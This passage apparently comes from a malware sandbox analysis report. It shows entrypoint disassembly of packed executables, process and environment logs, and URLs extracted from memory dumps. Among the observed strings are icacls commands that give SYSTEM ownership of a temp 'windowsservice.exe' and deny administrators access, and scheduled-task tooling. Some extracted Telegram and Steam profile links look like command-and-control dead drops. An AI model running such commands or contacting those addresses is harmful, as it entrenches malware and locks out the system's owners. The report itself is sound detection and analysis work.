ptr [rsi],sub rsi, -4,adc ebx, ebx,mov dl, byte ptr [rsi],repz ret ,lea rax, [rdi + rbp],cmp ecx, 5,mov dl, byte ptr [rax],jbe 0x1400c1cbe,cmp rbp, -4,ja 0x1400c1cbe,sub ecx, 4,mov edx, dword ptr [rax],add rax, 4,sub ecx, 4,mov dword ptr [rdi], edx,lea rdi, [rdi + 4],jae 0x1400c1ca6,add ecx, 4,mov dl, byte ptr [rax],je 0x1400c1cce,inc rax,mov byte ptr [rdi], dl," "nircmd.exe" file has an entrypoint instructions - "mov rax, rsp,sub rsp, 0xc8,mov qword ptr [rax + 0x18], rbx,mov qword ptr [rax + 0x20], rdi,lea rcx, [rax - 0x78],call qword ptr [rip + 0x14bc],nop ,cmp word ptr [rip - 0x15c76], 0x5a4d,je 0x140015c8d,xor ebx, ebx,mov dword ptr [rsp + 0xd0], ebx,lea rdi, [rip - 0x15c88],jmp 0x140015d1b,movsxd rax, dword ptr [rip - 0x15c58],lea rdi, [rip - 0x15c9b],add rax, rdi,cmp dword ptr [rax], 0x4550,je 0x140015cb1,xor ebx, ebx,mov dword ptr [rsp + 0xd0], ebx,jmp 0x140015d1b," "cecho.exe" file has an entrypoint instructions - "pushal ,mov esi, 0x40f000,lea edi, [esi - 0xe000],push edi,jmp 0x414aca,nop ,mov al, byte ptr [esi],inc esi,mov byte ptr [edi], al,inc edi,add ebx, ebx,jne 0x414ad1,mov ebx, dword ptr [esi],sub esi, -4,adc ebx, ebx,jb 0x414ac0,mov eax, 1,add ebx, ebx,jne 0x414ae3,mov ebx, dword ptr [esi],sub esi, -4,adc ebx, ebx,adc eax, eax,add ebx, ebx,jae 0x414ad8,jne 0x414af4,mov ebx, dword ptr [esi],sub esi, -4,adc ebx, ebx,jae 0x414ad8,xor ecx, ecx,sub eax, 3,jb 0x414b08,shl eax, 8,mov al, byte ptr [esi],inc esi,xor eax, 0xffffffff,je 0x414b7a,mov ebp, eax,add ebx, ebx,jne 0x414b13,mov ebx, dword ptr [esi],sub esi, -4,adc ebx, ebx,"57:Tc9a,Observed system executable string:"%WINDIR%\SysWOW64\cmd.exe" [Source: 00000000-00006292-00000BC0-1811478939] Observed system executable string:"%WINDIR%\system32\icacls.exe" [Source: 00000000-00007236-00000C47-1268487712] Observed system executable string:"%WINDIR%\SysWOW64\icacls.exe" [Source: 00000000-00007236-00000BC0-1812176392] Observed system executable string:"%WINDIR%\System32\WindowsPowerShell\v1.0\powershell.exe" [Source: 00000000-00008156-00000C47-1649967326] Observed system executable string:"%WINDIR%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" [Source: 00000000-00008156-00000BC0-1818854567] Observed system executable string:"%WINDIR%\system32\net.exe" [Source: 00000000-00001132-00000C47-1406560624] Observed system executable string:"%WINDIR%\SysWOW64\net.exe" [Source: 00000000-00001132-00000BC0-1828942298] Observed system executable string:"%WINDIR%\Temp\windowsservice.exe" [Source: 00000000-00003024-00000BC0-1832626402] Observed system executable string:"icacls "%WINDIR%\TEMP\windowsservice.exe" /setowner "SYSTEM"" [Source: 00000000-00006520-00000C47-1198918492] Observed system executable string:"icacls "%WINDIR%\TEMP\windowsservice.exe" /inheritance:r /grant SYSTEM:F /grant Everyone:RX" [Source: 00000000-00007332-00000C47-1243278528] Observed system executable string:"icacls "%WINDIR%\TEMP\windowsservice.exe" /remove:d Everyone Administrators" [Source: 00000000-00004724-00000C47-1202454176] Observed system executable string:"%WINDIR%\SysWOW64\schtasks.exe" [Source: 00000000-00007380-00000BC0-1836076821] Observed system executable string:"%WINDIR%\system32\schtasks.exe" [Source: 00000000-00007380-00000C47-2417268774] Observed system executable string:"%WINDIR%\SysWOW64\reg.exe" [Source: 00000000-00006340-00000BC0-1852594156] Observed system executable string:"%WINDIR%\SysWOW64\find.exe" [Source: 00000000-00006340-00000BC0-1865699043] Observed system executable string:"%WINDIR%\system32\reg.exe" [Source: 00000000-00006340-00000C47-18960912730] Observed system executable string:"%WINDIR%\system32\cmd.exe" [Source: 00000000-00006340-00000C47-47395045522] Observed system executable string:"%WINDIR%\system32\cmd.exe /c ver" [Source: 00000000-00006340-00000C47-47395045522] Observed system executable string:"%WINDIR%\system32\find.exe" [Source: 00000000-00006340-00000C47-50412647200] Observed system executable string:"%WINDIR%\system32\cmd.exe /c tasklist" [Source: 00000000-00006340-00000C47-63290613610] Observed system executable string:"%WINDIR%\system32\tasklist.exe" [Source: 00000000-00004340-00000C47-1504058946] Observed system executable string:"%WINDIR%\SysWOW64\tasklist.exe" [Source: 00000000-00004340-00000BC0-1871823763] Observed system executable string:"/c icacls "%WINDIR%\TEMP\windowsservice.exe" /setowner "SYSTEM"" [Source: cmd.exe] Observed system executable string:"/c icacls "%WINDIR%\TEMP\windowsservice.exe" /inheritance:r /grant SYSTEM:F /grant Everyone:RX" [Source: cmd.exe] Observed system executable string:"/c icacls "%WINDIR%\TEMP\windowsservice.exe" /remove:d Everyone Administrators" [Source: cmd.exe] Observed system executable string:"%WINDIR%\system32\cmd.exe /c ""%TEMP%\cGMgirpxv.bat" "" [Source: cmd.exe]58:Tddd,Process "cmd.exe" (UID: 00000000-00007236) was launched with new environment variables: "USERDNSDOMAIN="DESKTOP-FVVF82A", PROCESSOR_ARCHITEW6432="AMD64"" Process "cmd.exe" (UID: 00000000-00007236) was launched with modified environment variables: "PROCESSOR_ARCHITECTURE, CommonProgramFiles, ProgramFiles, NUMBER_OF_PROCESSORS" Process "icacls.exe" (UID: 00000000-00005416) was launched with new environment variables: "PROMPT="$P$G"" Process "cmd.exe" (UID: 00000000-00007196) was launched with missing environment variables: "PROMPT" Process "icacls.exe" (UID: 00000000-00003260) was launched with new environment variables: "PROMPT="$P$G"" Process "cmd.exe" (UID: 00000000-00005600) was launched with missing environment variables: "PROMPT" Process "icacls.exe" (UID: 00000000-00002336) was launched with new environment variables: "PROMPT="$P$G"" Process "cmd.exe" (UID: 00000000-00003852) was launched with missing environment variables: "PROMPT" Process "icacls.exe" (UID: 00000000-00007712) was launched with new environment variables: "PROMPT="$P$G"" Process "cmd.exe" (UID: 00000000-00007740) was launched with missing environment variables: "PROMPT" Process "icacls.exe" (UID: 00000000-00006616) was launched with new environment variables: "PROMPT="$P$G"" Process "cmd.exe" (UID: 00000000-00000388) was launched with missing environment variables: "PROMPT" Process "icacls.exe" (UID: 00000000-00007804) was launched with new environment variables: "PROMPT="$P$G"" Process "cmd.exe" (UID: 00000000-00004888) was launched with missing environment variables: "PROMPT" Process "icacls.exe" (UID: 00000000-00004924) was launched with new environment variables: "PROMPT="$P$G"" Process "cmd.exe" (UID: 00000000-00003916) was launched with missing environment variables: "PROMPT" Process "icacls.exe" (UID: 00000000-00007632) was launched with new environment variables: "PROMPT="$P$G"" Process "cmd.exe" (UID: 00000000-00007516) was launched with missing environment variables: "PROMPT" Process "icacls.exe" (UID: 00000000-00007468) was launched with new environment variables: "PROMPT="$P$G"" Process "cmd.exe" (UID: 00000000-00008156) was launched with missing environment variables: "PROMPT" Process "powershell.exe" (UID: 00000000-00001540) was launched with new environment variables: "PROMPT="$P$G"" Process "cmd.exe" (UID: 00000000-00001132) was launched with missing environment variables: "PROMPT" Process "net.exe" (UID: 00000000-00005316) was launched with new environment variables: "PROMPT="$P$G"" Process "9iqmgvw,czcg6" - Source: "00000000-00001540.00000000.180439.02CF8000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?eglobalsign" - Source: "00000000-00001540.00000000.180439.02CF8000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00001540.00000000.180439.02CF8000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00001540.00000000.180439.02CF8000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00001540.00000000.180439.02CF8000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00001540.00000000.180439.02CF8000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00001540.00000000.180439.02CF8000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00001540.00000000.180439.02CF8000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00001540.00000000.180439.02E60000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00001540.00000000.180439.02E60000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00001540.00000000.180439.07330000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00001540.00000000.180439.07330000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00001540.00000000.180439.07330000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00001540.00000000.180439.07330000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0120531151137z0/^g(o-cejy" - Source: "00000000-00001540.00000000.180439.07330000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00001540.00000000.180439.07330000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00001540.00000000.180439.07330000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?rszysjkw(geotrust" - Source: "00000000-00001540.00000000.180439.07330000.00000004.mdmp") Found URL "http://cert.startcom.org/sfsca-crl.crl0+%http://crl.startcom.org/sfsca-crl.crl0" - Source: "00000000-00001540.00000000.180439.07330000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf05)http://cert.startcom.org/intermediate.pdf0" - Source: "00000000-00001540.00000000.180439.07330000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf0)startcom" - Source: "00000000-00001540.00000000.180439.07330000.00000004.mdmp") Found URL "http://crl.securetrust.com/stca.crl0x:rr[" - Source: "00000000-00001540.00000000.180439.07330000.00000004.mdmp") Found URL "http://crl.comodoca.com/aaacertificateservices.crl060http://crl.comodo.net/aaacertificateservices.crl0l7u" - Source: "00000000-00001540.00000000.180439.07330000.00000004.mdmp") Found URL "http://repository.swisssign.com/02z" - Source: "00000000-00001540.00000000.180439.07330000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*lkvl[89_o$jd" - Source: "00000000-00001540.00000000.180439.07330000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0wx" - Source: "00000000-00001540.00000000.180439.07330000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00001540.00000000.180439.07330000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.6.1.4.1.311.10.1250905032048z0/^g(o-cejy" - Source: "00000000-00001540.00000000.180439.07330000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=526726'," - Source: "00000000-00001540.00000000.180439.07330000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=526920')]" - Source: "00000000-00001540.00000000.180439.07330000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00001540.00000000.180439.07330000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;:kwxkvk6;" - Source: "00000000-00001540.00000001.180699.02C10000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0z" - Source: "00000000-00001540.00000001.180699.02CF8000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0e:5%6$" - Source: "00000000-00001540.00000001.180699.02CF8000.00000004.mdmp") Found URL "http://certs.godaddy.com/repository/1301*go" - Source: "00000000-00001540.00000001.180699.02CF8000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/05.0,0*$http://crl.godaddy.com/gdroot-g2.crl0f?0=0;0301%https://certs.godaddy.com/repository/0jcs1" - Source: "00000000-00001540.00000001.180699.02CF8000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0n+vok4" - Source: "00000000-00001540.00000001.180699.02CF8000.00000004.mdmp") Found URL "https://www.alphassl.com/repository/03,0*0(" - Source: "00000000-00001540.00000001.180699.02CF8000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10%cx.g/8" - Source: "00000000-00001540.00000001.180699.02CF8000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0.9iqmgvw,czcg6" - Source: "00000000-00001540.00000001.180699.02CF8000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?eglobalsign" - Source: "00000000-00001540.00000001.180699.02CF8000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00001540.00000001.180699.02CF8000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00001540.00000001.180699.02CF8000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00001540.00000001.180699.02CF8000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00001540.00000001.180699.02CF8000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00001540.00000001.180699.02CF8000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00001540.00000001.180699.02CF8000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00001540.00000001.180699.07330000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.6.1.4.1.311.10.1250905032048z0/^g(o-cejy" - Source: "00000000-00001540.00000001.180699.07330000.00000004.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=42127" - Source: "00000000-00001540.00000001.180699.07330000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=526726'," - Source: "00000000-00001540.00000001.180699.07330000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=526920')]" - Source: "00000000-00001540.00000001.180699.07330000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00001540.00000001.180699.07330000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microsofttimestamppca.crl0xl0j0hhttp://www.microsoft.com/pki/certs/miccodsigpca_08-31-2010.crt0p)e" - Source: "00000000-00001540.00000001.180699.07330000.00000004.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=42127" - Source: "00000000-00001540.00000001.180699.073F3000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zhclp@clp(clp4clppclp\clphclptclp(dlp4dlp@dlpldlpxdlpddlppdlp" - Source: "00000000-00001540.00000001.180699.08940000.00000004.mdmp") Found URL "http://www.apachnhe" - Source: "00000000-00001540.00000001.180699.08940000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0th0f0d8http://www.microsoft.com/pki/certs/microsoftrootcert.crt0.tq[m*$" - Source: "00000000-00001540.00000001.180699.08940000.00000004.mdmp") Found URL "http://www.microsoft.com/powershell" - Source: "00000000-00001540.00000001.180699.08B7F000.00000004.mdmp") Found URL "http://www.validationtest.contoso.com/test%d.htmlmpoav_forcedeepscan" - Source: "00000000-00001540.00000001.180699.71A71000.00000020.mdmp") Found URL "https://h" - Source: "00000000-00001900.00000000.181322.C2461000.00000040.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00001900.00000000.181322.CAD20000.00000004.mdmp") Found URL "https://h" - Source: "00000000-00001900.00000001.183241.C2461000.00000040.mdmp") Found URL "http://https://https://https://17.8639cb66483e97a71f9c9860499c027d2.xyo:gv" - Source: "00000000-00001900.00000001.183241.C2461000.00000040.mdmp") Found URL "https://telegram.me/ho00rqbz11rmozilla/5.0" - Source: "00000000-00001900.00000001.183241.C2461000.00000040.mdmp") Found URL "https://steamcommunity.com/profiles/76561198742173262bz11rmozilla/5.0" - Source: "00000000-00001900.00000001.183241.C2461000.00000040.mdmp") Found URL "https://telegram.me/ho00rqicrosoft\windows\inetcachemicrosoft" - Source: "00000000-00001900.00000001.183241.CAD20000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00001900.00000001.183241.CAD20000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crlhhttp://crl.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccertrulispca_2009-04-02.crt0+" - Source: "00000000-00001900.00000001.183241.CD410000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0th0f0d8http://www.microsoft.com/pki/certs/microsoftrootcert.crt0!:ctxcg" - Source: "00000000-00001900.00000001.183241.CD410000.00000004.mdmp") Found URL "http://microsoft.com0k" - Source: "00000000-00001900.00000001.183241.CD410000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0t<" - Source: "00000000-00001900.00000001.183241.CD410000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00001900.00000001.183241.CD410000.00000004.mdmp") Found URL "http://microsoft.com0" - Source: "00000000-00001900.00000001.183241.CD410000.00000004.mdmp") Found URL "https://steamcommunity.com/profiles/76561198742173262/inventory/" - Source: "00000000-00001900.00000001.183241.CD410000.00000004.mdmp") Found URL "https://community.fastly.steamstatic.com/public/images/skin_1/footerlogo_valve.png?v=1" - Source: "00000000-00001900.00000001.183241.CD410000.00000004.mdmp") Found URL "https://steamcommunity.com/linkfilter/?u=http%3a%2f%2fwww.geonames.org" - Source: "00000000-00001900.00000001.183241.CD410000.00000004.mdmp") Found URL "http://store.steampowered.com/privacy_agreement/" - Source: "00000000-00001900.00000001.183241.CD410000.00000004.mdmp") Found URL "https://store.steampowered.com/legal/" - Source: "00000000-00001900.00000001.183241.CD410000.00000004.mdmp") Found URL "https://help.steampowered.com/faqs/view/10bb-d27a-6378-4436" - Source: "00000000-00001900.00000001.183241.CD410000.00000004.mdmp") Found URL "http://store.steampowered.com/subscriber_agreement/" - Source: "00000000-00001900.00000001.183241.CD410000.00000004.mdmp") Found URL "http://store.steampowered.com/account/cookiepreferences/" - Source: "00000000-00001900.00000001.183241.CD410000.00000004.mdmp") Found URL "https://www.valvesoftware.com/en/contact?contact-person=translation%20team%20feedback" - Source: "00000000-00001900.00000001.183241.CD410000.00000004.mdmp") Found URL "https://community.fastly.steamstatic.com/public/css/applications/community/main.css?v=wr4d8i9lsced&l=english&_cdn=fastly" - Source: "00000000-00001900.00000001.183241.CD410000.00000004.mdmp") Found URL "https://community.fastly.steamstatic.com/public/javascript/applications/community/manifest.js?v=k47pjcl24t71&l=english&_cdn=fastly" - Source: "00000000-00001900.00000001.183241.CD410000.00000004.mdmp") Found URL "https://community.fastly.steamstatic.com/public/javascript/applications/community/libraries" - Source: "00000000-00001900.00000001.183241.CD410000.00000004.mdmp") Found URL "https://community.fastly.steamstatic.com/public/javascript/applications/community/main.js?v=t2scsevwwrx8&l=english&_cdn=fastly" - Source: "00000000-00001900.00000001.183241.CD410000.00000004.mdmp") Found URL "https://avatars.fastly.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg" - Source: "00000000-00001900.00000001.183241.CD410000.00000004.mdmp") Found URL "https://community.fastly.steamstatic.com/public/images/skin_1/arrowdn9x5.gif" - Source: "00000000-00001900.00000001.183241.CD410000.00000004.mdmp") Found URL "https://steamcommunity.com/profiles/765611987421'k1]" - Source: "00000000-00001900.00000001.183241.CD410000.00000004.mdmp") Found URL "https://web.telegram.org');" - Source: "00000000-00001900.00000001.183241.CD410000.00000004.mdmp") Found URL "https://telegram.org/img/t_logo_2x.png" - Source: "00000000-00001900.00000001.183241.CD410000.00000004.mdmp") Found URL "https://t.me/ho00rq" - Source: "00000000-00001900.00000001.183241.CD410000.00000004.mdmp") Found URL "http://www.w3.org/2000/svg" - Source: "00000000-00001900.00000001.183241.CD410000.00000004.mdmp") Found URL "https://www.valvesoftware.com/en/contact?contact-person=translation%20team%20feedback" - Source: "00000000-00001900.00000001.183241.CD49D000.00000004.mdmp") Found URL "https://community.fastly.steamstatic.com/public/css/applications/community/main.css?v=wr4d8i9lsced&l=english&_cdn=fastly" - Source: "00000000-00001900.00000001.183241.CD49D000.00000004.mdmp") Found URL "https://community.fastly.steamstatic.com/public/javascript/applications/community/manifest.js?v=k47pjcl24t71&l=english&_cdn=fastly" - Source: "00000000-00001900.00000001.183241.CD49D000.00000004.mdmp") Found URL "https://community.fastly.steamstatic.com/public/javascript/applications/community/libraries" - Source: "00000000-00001900.00000001.183241.CD49D000.00000004.mdmp") Found URL "https://community.fastly.steamstatic.com/public/javascript/applications/community/main.js?v=t2scsevwwrx8&l=english&_cdn=fastly" - Source: "00000000-00001900.00000001.183241.CD49D000.00000004.mdmp") Found URL "https://avatars.fastly.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg" - Source: "00000000-00001900.00000001.183241.CD49D000.00000004.mdmp") Found URL "https://community.fastly.steamstatic.com/public/images/skin_1/arrowdn9x5.gif" - Source: "00000000-00001900.00000001.183241.CD49D000.00000004.mdmp") Found URL "https://steamcommunity.com/profiles/7656119874212473262/badges" - Source: "00000000-00001900.00000001.183241.CD49D000.00000004.mdmp") Found URL "https://steamcommunity.com/profiles/76561198742173262/inventory/" - Source: "00000000-00001900.00000001.183241.CD49D000.00000004.mdmp") Found URL "https://community.fastly.steamstatic.com/public/images/skin_1/footerlogo_valve.png?v=1" - Source: "00000000-00001900.00000001.183241.CD49D000.00000004.mdmp") Found URL "https://steamcommunity.com/linkfilter/?u=http%3a%2f%2fwww.geonames.org" - Source: "00000000-00001900.00000001.183241.CD49D000.00000004.mdmp") Found URL "http://store.steampowered.com/privacy_agreement/" - Source: "00000000-00001900.00000001.183241.CD49D000.00000004.mdmp") Found URL "https://store.steampowered.com/legal/" - Source: "00000000-00001900.00000001.183241.CD49D000.00000004.mdmp") Found URL "https://help.steampowered.com/faqs/view/10bb-d27a-6378-4436" - Source: "00000000-00001900.00000001.183241.CD49D000.00000004.mdmp") Found URL "http://store.steampowered.com/subscriber_agreement/" - Source: "00000000-00001900.00000001.183241.CD49D000.00000004.mdmp") Found URL "http://store.steampowered.com/account/cookiepreferences/" - Source: "00000000-00001900.00000001.183241.CD49D000.00000004.mdmp") Found URL "https://web.telegram.org');" - Source: "00000000-00001900.00000001.183241.CD49D000.00000004.mdmp") Found URL "https://telegram.org/img/t_logo_2x.png" - Source: "00000000-00001900.00000001.183241.CD49D000.00000004.mdmp") Found URL "https://t.me/ho00rq" - Source: "00000000-00001900.00000001.183241.CD49D000.00000004.mdmp") Found URL "http://www.w3.org/2000/svg" - Source: "00000000-00001900.00000001.183241.CD49D000.00000004.mdmp") Found URL "https://community.fastly.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=gqhvlrk4-jx-&l=english&_chttp/1.1" - Source: "00000000-00001900.00000001.183241.CD510000.00000004.mdmp") Found URL "https://steamcommunity.com/my/wishlist/" - Source: "00000000-00001900.00000001.183241.CD510000.00000004.mdmp") Found URL "https://store.steampowered.comget" - Source: "00000000-00001900.00000001.183241.CD510000.00000004.mdmp") Found URL "https://web.telegram.orgcontent-security-policyframe-ancestors" - Source: "00000000-00001900.00000001.183241.CD510000.00000004.mdmp") Found URL "https://web.telegram.org" - Source: "00000000-00001900.00000001.183241.CD510000.00000004.mdmp") Found URL "https://community.fastly.steamstatic.com/public/images/skin_1/footerlogo_valve.png?v=1" - Source: "00000000-00001900.00000001.183241.CD510000.00000004.mdmp") Found URL "https://steamcommunity.com/linkfilter/?u=http%3a%2f%2fwww.geonames.org" - Source: "00000000-00001900.00000001.183241.CD510000.00000004.mdmp") Found URL "http://store.steampowered.com/privacy_agreement/" - Source: "00000000-00001900.00000001.183241.CD510000.00000004.mdmp") Found URL "https://store.steampowered.com/legal/" - Source: "00000000-00001900.00000001.183241.CD510000.00000004.mdmp") Found URL "https://help.steampowered.com/faqs/view/10bb-d27a-6378-4436" - Source: "00000000-00001900.00000001.183241.CD510000.00000004.mdmp") Found URL "http://store.steampowered.com/subscriber_agreement/" - Source: "00000000-00001900.00000001.183241.CD510000.00000004.mdmp") Found URL "http://store.steampowered.com/account/cookiepreferences/" - Source: "00000000-00001900.00000001.183241.CD510000.00000004.mdmp") Found URL "https://community.fastly.steamstatic.com/public/shared/css/motiva_sans.css?v=-yzgck0nu7kh&l=english&_cdn=fastly" - Source: "00000000-00001900.00000001.183241.CD510000.00000004.mdmp") Found URL "https://community.fastly.steamstatic.com/public/shared/css/buttons.css?v=0ihq-paoptbq&l=english&_cdn=fastly" - Source: "00000000-00001900.00000001.183241.CD510000.00000004.mdmp") Found URL "https://community.fastly.steamstatic.com/public/shared/css/shared_global.css?v=sfurn_dhgbxt&l=english&_cdn=fastly" - Source: "00000000-00001900.00000001.183241.CD510000.00000004.mdmp") Found URL "https://community.fastly.steamstatic.com/public/css/globalv2.css?v=9rv1kkrs040q&l=english&_cdn=fastly" - Source: "00000000-00001900.00000001.183241.CD510000.00000004.mdmp") Found URL "https://community.fastly.steamstatic.com/public/css/skin_1/modalcontent.css?v=wxauslhcldit&l=english&_cdn=fastly" - Source: "00000000-00001900.00000001.183241.CD510000.00000004.mdmp") Found URL "https://community.fastly.steamstatic.com/public/css/skin_1/profilev2.css?v=-fvuswvjp_fu&l=english&_cdn=fastly" - Source: "00000000-00001900.00000001.183241.CD510000.00000004.mdmp") Found URL "https://community.fastly.steamstatic.com/public/css/promo/summer2017/stickers.css?v=ncr6n09yziap&l=english&_cdn=fastly" - Source: "00000000-00001900.00000001.183241.CD510000.00000004.mdmp") Found URL "https://community.fastly.steamstatic.com/public/shared/css/shared_responsive.css?v=kwbvpwrchuvv&l=english&_cdn=fastly" - Source: "00000000-00001900.00000001.183241.CD510000.00000004.mdmp") Found URL "https://community.fastly.steamstatic.com/public/css/skin_1/header.css?v=em4kcu67dnda&l=english&_cdn=fastly" - Source: "00000000-00001900.00000001.183241.CD510000.00000004.mdmp") Found URL "https://cofastly.steamstatic.com/public/javascript/prototype-1.7.js?v=npjelbnreo6w&l=english&_cdn=fastly" - Source: "00000000-00001900.00000001.183241.CD510000.00000004.mdmp") Found URL "https://community.fastly.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=pbdakocdigbc&l=english&_cdn=fastly&load=effects,controls,slider,dragdrop" - Source: "00000000-00001900.00000001.183241.CD510000.00000004.mdmp") Found URL 